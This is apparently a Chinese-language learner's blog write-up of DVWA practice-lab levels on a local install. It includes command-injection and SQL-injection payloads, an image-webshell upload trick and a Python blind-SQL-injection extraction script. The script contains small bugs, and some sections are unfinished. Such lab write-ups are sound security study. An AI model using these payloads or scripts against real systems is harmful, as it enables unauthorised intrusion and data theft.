DVWA靶场

Brute Force

low:

暴力破解——burpsuit去跑就行了
或者使用sql注入:admin’|| 1=’1、admin’#

medium

使用了mysql_real_escape_string函数进行过滤
复习一下过滤了啥

img 回想一下当时是怎么bypass的? 因为那一关有用gbk进行编码,所以我们可以使用宽字节注入的方式吃掉\ 这里没有看到GBK编码 所以我们只能继续使用burp suit跑字典 这边有个睡眠两秒的放爆破机制?感觉好像蛮鸡肋的,就是等的时间长点而已,最后还是能跑出来的

high

除了在原由的防sql注入的基础上又添加了stripslashes函数——用于去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个,所以sql注入似乎变得不太可能了
burpsuit暴力破解也不行,因为它每次都需要提交一个不同的token
所以这里只能用脚本来暴力破解:
脚本的编写还没学完,等学完再来补充

Command Injection

命令执行和代码执行的原理分析

有些会需要调用一些执行系统命令的函数,比如PHP中的:
system , exec , shell_exec , passthru , popen , proc_popen 等函数…
如果用户可以控制这些函数的参数,那么把参数替换成自己的恶意命令,是不是就可以操作系统一些命令了?这就是命令执行。

命令行注入

命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。
命令连接符
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1

以上三种连接符在windows和linux环境下都支持
如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。
在本题中源代码没有体现对ip的任何过滤

系统命令整理:

windows下:https://www.shuzhiduo.com/A/Vx5MBqZLdN/
linux下:https://www.cnblogs.com/54chensongxia/p/12510758.html

那么这题如何解答就很明了了,我们该如何利用这写系统命令函数,就是利用这些命令连接符

low:

认识几个函数:
shell_exec()
函数是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出。stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为”false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

然后接下来输入 ping&&系统命令;

medium

在这一关中 过滤了&& 和; 看看上面的命令连接符,还有& |等其他符号可以使用
那么这里为什么要过滤;呢? 在linux系统当中是可以用;号来替换这些命令连接符的

那么如果一定要用&&该如何绕过呢
这里看到”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& ipconfig” ,会成功执行。

img
high

在这一关中,
img
过滤了很多了,但是仔细观察,发现过滤的不是|而是|+一个空格 我就纳闷了,为啥不直接过滤| 为了让我们过了这个关卡吗?有点小无语哈哈哈,总而言之我们输入127.0.0.1|net user

impossible

impossible关卡的过滤机制让我想到了刚刷完的upload,也是类似的
先把其他字符给过滤掉,然后用.分割成多个数组,分别验证是否为数字,再将这几个数组进行拼接

ANTI CSRF TOKEN
这个是用来防范csrf攻击的,但是csrf是什么?还没学到,我看下面的题目有,先接着做吧
https://blog.chenhaotaishuaile.com/2019/03/16/csrf-token-generate/

文件上传

low

这里让我们上传一张图片,直接上传然后burp抓包改后缀
img
他的相对路径已经出来了,接下来就是猜解其绝对路径

1
http://localhost:81/DVWA-master/hackable/uploads/123.php

medium

在中级的题目中,验证了后缀是是否jpg和png图片格式后缀的
方法一:burp改后缀
方法二:上传文件后利用上一关的文件包含漏洞
方法三:因为有move_uploaded_file()函数,所以可以尝试一下00截断
上传jpg

high

和之前差别不大,但是多了getimagesize()这个函数,意味着这里要是用图片木马
将图片和木马用

1
copy 1.jpg/b+2.php/a 12.jpg

impossible

in_get(varname)
函数返回相应选项的值
imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识,失败返回false
imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。
imagedestroy( img )
函数销毁图像资源

sql injection

low:

1.字符型 注入——1’or 1=1’1 /1’or 1=1#
2.payload:

1
2
3
4
5
union selct联合注入:
1'order by 2# ——有两列
1'union select 1,2#
1' union select database(),2#
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

payload

1
2
extractvalue报错注入
1' and extractvalue(1,concat('~',database(),'~'))#

medium

img 这一关使用下拉选择的方式进行登录,所以就没办法在这里进行注入,我们知道这是POST类型提交数据,所以,这里我们尝试一下抓包进行修改数据 ![img](https://raw.githubusercontent.com/Hwwg/myphoto/master/20210125083457.png)

可以发现,他这次对’和\都过滤了,实现转义
img

然后回到起点,发现,这次是数字型注入啊???那个过滤方式有啥意义吗??
img
img
payload:

1
2
1 union select 1,database()#
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761//这里由于过滤了单引号,所以只能用16进制进行编码然后绕过,dvwa=0x64767761

payload:

1
1 and extractvalue(1,concat(1,database()))#
img

high

很奇怪,我输入1’ union select 1,database()#后 页面变成
img
并且怎么刷新返回重启都没用

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//这个token可以用来防止sqlmap吧,因为每一次的提交都要重新提交一个token


// Get input

$id = $_GET[ 'id' ];



// Was a number entered?

if(is_numeric( $id )) {

// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );
//bindParam():绑定一个参数到指定的变量名,在这里他就是让id为int类型的变量
$data->execute();

$row = $data->fetch();

根据以上的解析,所以基本上不存在注入点了

sql injection(blind)

low

因为他的返回结果只有存在或者不存在在数据库当中,所以我们这里只好尝试使用盲注:
这里编写一个盲注脚本,前面发现是字符型注入,get类型,查看源码发现没有过滤,所以直接编写脚本:

猜解数据库长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
s=requests.Session()
url="http://localhost:81/DVWA-master/vulnerabilities/sqli_blind/"
headers={'Cookie':'security=low;PHPSESSID=45nnfme23ea8iumsihnr6gqc7i; night_mode=0'}
print("---开始猜解数据库名长度---")
for j in range(0,50):
database_length="?id=1\'and+length(database())='%d'--+&Submit=Submit#"%j
#这里的语句还可以替换成:
#database_length=f"?id=1\'and+length(database())={j}--+&Submit=Submit#"
#database_length='?id=1\'and+length(database())='+str(j)+'--+&Submit=Submit#'
if 'exists' in s.get(url+database_length,headers=headers).text:
databaselength = j
#print(s.get(url+database_length,headers=headers).text)
print(url+database_length)
print("数据库的长度为" + str(databaselength))
break
img

猜解数据库的名字:

1
2
3
4
5
6
7
8
9
print("-----开始猜解数据库名-------")
databasename = ''
for j in range(1,databaselength+1):
for i in payloads:
database_payload=f"?id=1\'and+substr(database(),{j},1)='{i}'%23&Submit=Submit#"
print(database_payload//调试用的
if 'exists' in s.get(url+database_payload,headers=headers).text:
databasename +=i
print('数据库的名字为:'+databasename)

查询表的数目:

1
2
3
4
5
6
7
8
print("-----开始猜解表数-------")
for j in range(0,50):
table_count=f"?id=1'and (select count(table_name)from information_schema.tables where table_schema=database())={j}%23&Submit=Submit#"
print(table_count)
if 'exists' in s.get(url+table_count,headers=headers).text:
tablecount=j
print("表的数目是"+str(tablecount))
break

查询表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
print("-----开始猜解表名-------")
for j in range(0, tablecount):
table_name = ''
for i in range(0, 50):
tab_length = f'?id=1\'and (select length(table_name) from information_schema.tables where table_schema=database() limit {j},1)={i}%23&Submit=Submit#'
# print(tablength)
if 'exists' in s.get(url + tab_length, headers=headers).text:
tablength = i
print("第一个表长度为:%d" % i)
#以上是为了得出每一个表的长度
for m in range(0, tablength+1):
for n in payloads:
table_payload = f'?id=1\'and substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{m},1)=\'{n}\'%23&Submit=Submit#'
#print(table_payload)
if 'User ID exists in the database.' in s.get(url + table_payload, headers=headers).text:
table_name += n
print('table_name%d:'%(j+1)+table_name)

查询列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
columnNum = 0 
for j in range(50):
columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'flagishere\')='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnNum_payload, headers=headers).text:
columnNum = j
break
print('columnNum: '+str(columnNum))

# 2.爆出每个字段名的长度
for j in range(0,columnNum):
column_name = ''
for i in range(1,50):
columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnLen_payload, headers=headers).text:
columnLen = i
print('column'+str(j+1)+'_length: '+str(columnLen))

# (2)内部循环爆破每个表的表名
for m in range(1,columnLen+1):
for n in payloads: # i在上个循环用过了
column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+column_payload, headers=headers).text:
column_name += n
print('column'+str(j+1)+'_name: '+column_name)
img

果然最麻烦得不过写脚本

medium:

这一次是需要写post类型的脚本

先个坑吧,后面再来补,初学python写脚本太累了,可能也是因为这几天状态不好吧

CSP BYPASS

https://www.cnblogs.com/-zhong/p/10906270.html

JAVA SCRIPT

https://www.cnblogs.com/jojo-feed/p/10206443.html

Author

vague huang

Posted on

2021-01-20

Updated on

2021-01-30

Licensed under

Comments